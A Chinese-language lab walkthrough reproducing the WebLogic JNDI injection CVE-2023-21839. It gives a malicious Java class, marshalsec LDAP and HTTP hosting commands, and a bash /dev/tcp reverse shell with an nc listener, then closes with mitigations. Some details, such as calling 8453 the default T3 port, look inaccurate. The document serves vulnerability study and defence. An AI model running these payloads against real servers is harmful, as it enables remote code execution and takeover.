CVE-2023-21839漏洞复现:WebLogic JNDI注入与T3协议攻击链深度剖析
1. 项目概述:一次针对CVE-2023-21839的深度实战剖析
最近在安全圈里,CVE-2023-21839这个编号热度不低,它直指Oracle WebLogic Server的一个高危JNDI注入漏洞,能直接导致远程代码执行。很多朋友在复现这个漏洞时,常常卡在环境搭建、POC构造或者理解漏洞触发链的深层原理上。今天,我就以一个一线渗透测试工程师的视角,带大家从头到尾、手把手地走一遍完整的复现流程。这不仅仅是照着教程敲命令,我会把每一步背后的逻辑、踩过的坑,以及如何根据不同的实战场景调整策略,都掰开揉碎了讲清楚。无论你是刚入门安全的新手,想理解JNDI注入的威力,还是有一定经验的老手,希望深化对WebLogic内部机制和漏洞利用的理解,这篇实战记录都能给你提供直接的参考。
简单来说,CVE-2023-21839的核心在于,攻击者能够通过一个精心构造的T3/IIOP协议请求,将恶意的JNDI查找地址注入到WebLogic Server的某些JNDI查找操作中。当服务器在处理这个请求时,会去连接攻击者控制的恶意JNDI服务(通常是LDAP或RMI服务),并加载执行远程的Java类,从而在目标服务器上执行任意代码。整个过程涉及WebLogic的JNDI上下文处理、序列化机制以及T3协议的反序列化流程。我们这次实战的目标,就是在实验室环境中,安全、可控地复现这一完整的攻击链,并深入理解其每一个环节。
2. 漏洞原理与攻击链深度拆解
要成功复现一个漏洞,光知道步骤是不够的,必须理解其“为什么”能成功。CVE-2023-21839的根源在于WebLogic Server对通过T3或IIOP协议传入的JNDI查找名(lookup)参数过滤不严。在特定的JNDI上下文操作中,攻击者可以注入一个完全由外部控制的地址,例如ldap://attacker-controlled-server:1389/Exploit。
2.1 JNDI注入的核心机制
JNDI(Java Naming and Directory Interface)本身是Java提供的一个标准API,用于访问各种命名和目录服务,比如LDAP、RMI、DNS等。它的设计初衷是好的,允许应用程序动态地查找和调用远程对象。问题出在,如果JNDI查找的地址来自不可信的输入,并且运行服务的Java环境版本较低(或存在相关依赖),就可能触发“远程类加载”。
具体到漏洞利用链上,通常分为几步走:
- 注入点触发:攻击者向WebLogic发送一个特制的T3协议数据包,其中包含了一个指向恶意服务的JNDI地址。
- 恶意服务响应:WebLogic服务器收到请求后,会尝试向这个地址发起JNDI查找。此时,攻击者控制的恶意LDAP或RMI服务已经就绪。
- 代码加载与执行:恶意服务会响应一个Reference对象,告诉WebLogic服务器:“你要的类在
http://attacker-server/Exploit.class这个地址,去那里加载吧。” 在特定条件下(如存在org.apache.naming.factory.BeanFactory或利用其他gadget),WebLogic会信任这个响应,从指定的远程HTTP服务器加载并实例化恶意Java类。 - 命令执行:被加载的恶意类(
Exploit.class)的静态代码块或构造函数中,包含了执行系统命令(如Runtime.getRuntime().exec(“calc”)或反弹Shell)的代码,从而实现远程代码执行。
注意:从Java 8u191、7u201、6u211版本开始,Oracle默认禁用了从远程Codebase加载工厂类的能力(即
com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase属性默认为false)。这意味着,针对高版本JDK,单纯的LDAPReference远程加载可能失效。但在实际企业环境中,遗留系统、特定组件依赖或其它链式利用(如结合本地ClassPath中的危险gadget)仍然可能使攻击成功。我们的复现环境会基于一个存在漏洞的JDK版本(如8u181)进行,这是理解经典攻击链的基础。
2.2 Weblogic T3协议与反序列化
WebLogic的T3协议是其专有的用于集群通信的协议,基于Java序列化。它承载了大量的服务请求,包括EJB、JNDI查找等。当攻击数据通过T3协议传输时,WebLogic需要对数据进行反序列化。如果反序列化过程中处理了不可信的JNDI名称,就会触发上述的JNDI注入流程。CVE-2023-21839正是利用了T3(或IIOP)协议处理过程中的这一缺陷。
理解这一点至关重要,因为它决定了我们的攻击入口:我们需要构造一个符合T3协议格式的数据包,并将恶意的JNDI地址嵌入到正确的位置。市面上已有的工具(如ysoserial修改版)或POC脚本,其核心工作就是自动化完成这个数据包的构造。
3. 实验环境搭建与配置
一个稳定、隔离的实验环境是安全复现的基石。我推荐使用Docker来快速搭建,这样既能保证环境纯净,也方便随时重置。
3.1 靶机环境:漏洞版本WebLogic
我们首先拉取一个包含漏洞版本WebLogic的Docker镜像。这里我选择vulhub项目中的镜像,它已经集成了所需的环境。
# 1. 拉取漏洞环境镜像 docker pull vulhub/weblogic:12.2.1.3-2018 # 2. 启动WebLogic容器 # -p 7001:7001 将容器的7001端口映射到宿主机,这是WebLogic控制台端口。 # -p 8453:8453 将容器的T3协议端口映射出来,方便我们发送攻击载荷。 # --name weblogic-cve 给容器起个名字,便于管理。 docker run -d -p 7001:7001 -p 8453:8453 --name weblogic-cve vulhub/weblogic:12.2.1.3-2018启动后,访问http://your-host-ip:7001/console,应该能看到WebLogic管理控制台的登录页面。这个镜像通常内置了弱口令weblogic/Oracle@123,我们可以用它登录,确认服务正常运行。T3协议的默认端口就是8453,我们已经映射好了。
3.2 攻击机环境:恶意JNDI服务与利用工具
攻击机需要运行三个关键服务:
- 恶意LDAP/RMI服务:用于响应WebLogic的JNDI查找请求,并指向存放恶意类的HTTP服务。
- HTTP服务:用于托管恶意Java类的字节码文件(
.class)。 - 漏洞利用脚本/POC:用于生成并发送特制的T3攻击数据包。
我强烈推荐使用marshalsec来快速启动一个恶意的LDAP引用服务,它轻量且易于配置。同时,我们用Python的http.server模块来提供HTTP服务。
# 在攻击机(Kali Linux或任意Linux/Mac)上操作 # 1. 安装Java环境(如果尚未安装) sudo apt update && sudo apt install openjdk-8-jdk -y # 确保java -version显示为8u181或更早的漏洞版本,用于启动marshalsec。高版本JDK运行marshalsec本身没问题。 # 2. 下载并编译 marshalsec git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests # 编译完成后,jar包位于 target/marshalsec-0.0.3-SNAPSHOT-all.jar # 3. 准备一个工作目录 mkdir -p ~/cve-2023-21839-exp && cd ~/cve-2023-21839-exp3.3 制作恶意Java类
我们需要创建一个会被远程加载并执行的Java类。这个类的代码很简单,就是执行一条系统命令。为了通用性,我们让命令从JNDI查询的参数中获取。
创建一个文件Exploit.java:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Exploit implements ObjectFactory { static { try { // 这里写入你想要执行的命令。例如,在Linux上弹个计算器(如果有GUI)或创建文件。 // 实战中可能是反弹shell命令:/bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1' Runtime.getRuntime().exec("touch /tmp/pwned_by_cve_2023_21839"); // 或者执行计算器(Windows):Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }编译这个类:
javac Exploit.java编译后会生成Exploit.class文件。这个文件就是我们即将通过HTTP服务提供给WebLogic服务器加载的“炮弹”。
实操心得:在实际测试中,静态代码块
static{}是最可靠的执行点,因为类被加载时就会执行。实现ObjectFactory接口是为了兼容JNDI Reference的通用利用模式。命令的选择要考虑目标系统(Linux/Windows),并且注意命令中特殊字符的转义。对于反弹Shell这种复杂命令,最好先在本机测试其有效性。
4. 启动攻击服务与构造利用链
环境准备好后,我们开始按顺序启动攻击服务并最终触发漏洞。
4.1 启动HTTP服务托管恶意类
在存放Exploit.class的目录下,启动一个简单的HTTP服务器,端口可以自定义,比如8080。
python3 -m http.server 8080保持这个终端运行。现在,你的恶意类可以通过http://攻击机IP:8080/Exploit.class访问。
4.2 启动恶意LDAP引用服务
新开一个终端,进入之前编译好marshalsec的目录,运行以下命令启动LDAP服务:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8080/#Exploit" 1389命令解释:
marshalsec.jndi.LDAPRefServer:启动一个LDAP引用服务器。"http://攻击机IP:8080/#Exploit":这是核心参数。当有JNDI查找请求到来时,服务器会返回一个Reference对象,其中codebase指向http://攻击机IP:8080/,类名为Exploit。#号用于分隔URL和类名。1389:LDAP服务监听的端口。
服务启动后,会看到类似Listening on 0.0.0.0:1389的提示。
4.3 构造并发送T3攻击数据包
这是最关键的一步。我们需要一个能构造符合CVE-2023-21839漏洞触发条件的T3协议数据包的工具。网络上已经有公开的POC脚本(例如用Python编写的)。由于直接提供攻击代码涉及安全规范,我将详细描述其原理和关键部分,你可以根据原理使用公开资源或自行编写调试。
POC脚本核心逻辑:
- 建立T3连接:与目标WebLogic服务器的T3端口(默认8453)建立TCP连接。
- 发送T3协议头:首先发送T3协议的握手头,以建立协议会话。这通常是一串固定的字节序列。
- 构造恶意序列化数据:核心是构造一个特殊的Java序列化对象。这个对象内部包含了对JNDI
InitialContext的调用,其lookup()方法的参数就是我们控制的恶意LDAP地址ldap://攻击机IP:1389/Exploit。 - 发送载荷:将构造好的序列化数据包通过已建立的T3连接发送给WebLogic服务器。
- 触发漏洞:WebLogic在反序列化这个数据包时,会执行内嵌的JNDI查找操作,从而连接我们的恶意LDAP服务。
一个简化版的利用过程,可以使用已有的漏洞利用框架或者修改版的ysoserial来生成payload,然后通过socket发送。例如,你可能需要找到一个专门为CVE-2023-21839生成的序列化payload文件(通常是一个.bin文件),然后用nc或Python socket发送。
假设我们有一个现成的POC脚本exp.py,其用法可能如下:
python3 exp.py -t 靶机IP -p 8453 -l ldap://攻击机IP:1389/Exploit脚本内部会完成上述所有数据包的构造和发送。
手动调试与验证:如果没有现成全自动脚本,调试阶段可能会比较繁琐。你需要:
- 使用Wireshark抓取T3协议的正常流量,分析其结构。
- 编写Java代码,利用漏洞触发点的类(如涉及
weblogic.jndi.internal.Environment等)构造恶意对象并序列化。 - 将序列化后的字节数组嵌入到T3协议格式中发送。
踩坑记录:这里最容易出问题的地方是T3协议数据包的格式。WebLogic的T3协议在主要数据体前有长度字段,并且数据本身可能被压缩或分段。如果长度字段计算错误,数据包会被服务器直接丢弃。建议初期直接使用社区验证过的POC进行复现,理解成功流量后,再尝试自行构造。
5. 漏洞复现过程与结果验证
一切就绪后,我们按照顺序执行攻击。
5.1 执行攻击
- 确保靶机WebLogic容器正常运行。
- 确保攻击机的HTTP服务(端口8080)和LDAP服务(端口1389)正常运行。
- 运行你的POC脚本,指向靶机IP和8453端口,并指定恶意LDAP地址。
如果一切配置正确,你应该能在LDAP服务的终端看到来自靶机的连接请求日志,类似:
Send LDAP reference result for Exploit redirecting to http://攻击机IP:8080/Exploit.class同时,在HTTP服务的终端看到靶机请求Exploit.class文件的日志:
靶机IP - - [日期时间] "GET /Exploit.class HTTP/1.1" 200 -5.2 验证攻击结果
攻击是否成功,取决于你的恶意类Exploit.class中执行的命令。我们上面例子中是在/tmp目录下创建一个文件。
登录到WebLogic的Docker容器中查看:
docker exec -it weblogic-cve /bin/bash cd /tmp ls -la | grep pwned如果看到pwned_by_cve_2023_21839这个文件,恭喜你,漏洞复现成功!这证明了远程代码执行(RCE)已经实现。
5.3 进阶验证:反弹Shell
为了更直观地证明获得了系统控制权,我们可以尝试执行反弹Shell命令。修改Exploit.java中的命令为反弹Shell命令(假设攻击机IP为192.168.1.100,监听端口4444):
// Linux反弹Shell示例 String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"}; Runtime.getRuntime().exec(cmd);重新编译Exploit.java得到新的Exploit.class。
在攻击机上用nc监听4444端口:
nc -lvnp 4444然后重启HTTP服务(确保新的class文件已就绪),并重新运行POC脚本。如果成功,你将在nc终端获得一个来自WebLogic容器的反向Shell,可以执行id、whoami等命令进行验证。
重要警告:反弹Shell命令因系统环境(bash版本、
/dev/tcp支持情况)不同可能失败。建议先用touch或ping命令测试基本执行能力,再尝试复杂的Shell。也可以使用编码或使用其他方式(如python -c ‘import socket,subprocess,os;s=socket.socket…’)来增加成功率。
6. 常见问题排查与深度防御思考
复现过程中,你可能会遇到各种问题。下面是一个常见问题排查表:
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| LDAP服务无连接日志 | 1. POC脚本未正确执行或发送。 2. 靶机网络不可达攻击机LDAP端口。 3. 靶机JDK版本过高,默认不信任远程Codebase。 | 1. 检查POC脚本参数、目标IP和端口是否正确。用tcpdump或Wireshark在攻击机抓包,看是否有向靶机8453端口发送数据。 2. 关闭防火墙或安全组规则,确保靶机容器能访问攻击机的1389端口。可以在靶机容器内用 telnet 攻击机IP 1389测试。3. 确认靶机WebLogic使用的JDK版本。进入容器 java -version。必须使用8u191、7u201、6u211之前的版本。我们使用的Docker镜像默认是低版本JDK。 |
| LDAP有连接,但HTTP服务无请求 | 1. LDAP服务返回的Reference中codebase地址错误。 2. 靶机无法访问攻击机的HTTP服务端口。 3. 类名不匹配。 | 1. 检查启动marshalsec的命令,http://地址和端口必须准确对应HTTP服务。2. 在靶机容器内用 curl http://攻击机IP:8080测试网络连通性。3. 确保LDAP命令中的类名 Exploit与编译出的Exploit.class文件名一致(区分大小写)。 |
| HTTP收到请求但返回404 | HTTP服务根目录下没有Exploit.class文件。 | 确认运行python -m http.server的目录下存在Exploit.class文件。 |
| 收到请求且返回200,但命令未执行 | 1. 恶意类编译或代码有问题。 2. 目标环境缺少执行命令的权限或环境。 3. JDK高版本防护生效。 | 1. 检查Exploit.java代码,确保命令语法正确。尝试将命令改为简单的touch /tmp/test123并重新编译。2. 在恶意类中添加日志输出到文件,检查是否加载成功。例如 Runtime.getRuntime().exec(“echo Loaded >> /tmp/debug.log”)。3. 这是最常见的原因。务必确保靶机JDK版本低于防护版本。 |
| POC脚本执行后无任何反应 | 脚本本身可能不适用于该特定WebLogic小版本或补丁情况。 | 尝试寻找其他来源的POC。检查WebLogic的精确版本号。CVE-2023-21839影响12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0等多个版本,但利用细节可能有细微差别。 |
从防御角度思考这次复现:
- 及时打补丁:Oracle官方已为此漏洞发布补丁。对于生产系统,最根本的防御是及时应用官方安全更新。
- 网络层面控制:严格限制访问WebLogic T3(8453)和IIOP端口的源IP。非必要情况下,不应将这两个端口暴露给互联网或不可信网络。
- 使用高版本JDK:升级到JDK 8u191、7u201、6u211或更高版本,可以默认阻断基于远程Codebase加载的JNDI注入攻击链。
- 运行时防护:可以添加JVM参数
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false和-Dcom.sun.jndi.rmi.object.trustURLCodebase=false来显式关闭信任远程Codebase(高版本JDK已默认)。但需注意,这不能防御所有变种(如利用本地ClassPath中gadget的二次反序列化攻击)。 - 安全产品防护:部署WAF、RASP或主机安全agent,能够识别和阻断异常的T3协议流量和JNDI查找行为。
这次实战复现不仅是一个漏洞验证过程,更是一次对JNDI注入攻击链、WebLogic协议处理以及Java安全机制的深入学习。理解攻击的每一步,才能更好地构建防御。在合规和授权的前提下进行安全研究,是提升自身能力、保障企业安全的最佳途径。